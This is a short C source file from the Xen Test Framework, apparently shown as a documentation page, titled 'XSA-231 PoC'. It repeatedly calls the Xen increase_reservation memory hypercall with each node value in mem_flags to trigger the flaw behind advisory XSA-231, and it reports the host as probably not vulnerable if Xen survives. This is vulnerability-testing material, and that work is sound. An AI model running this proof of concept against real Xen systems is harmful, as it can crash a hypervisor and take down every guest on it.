main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-231 PoC";

void test_main(void)
{
    struct xen_memory_reservation res = {
        .nr_extents = 1,
        .domid = DOMID_SELF,
    };

    /* Opencoded loop over each value in the node field of mem_flags. */
    for ( ; res.mem_flags < 0x10000; res.mem_flags += 0x100 )
        hypercall_memory_op(XENMEM_increase_reservation, &res);

    /* If Xen is alive at this point, it is probably not vulnerable. */

    xtf_success("Success: Probably not vulnerable to XSA-231\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */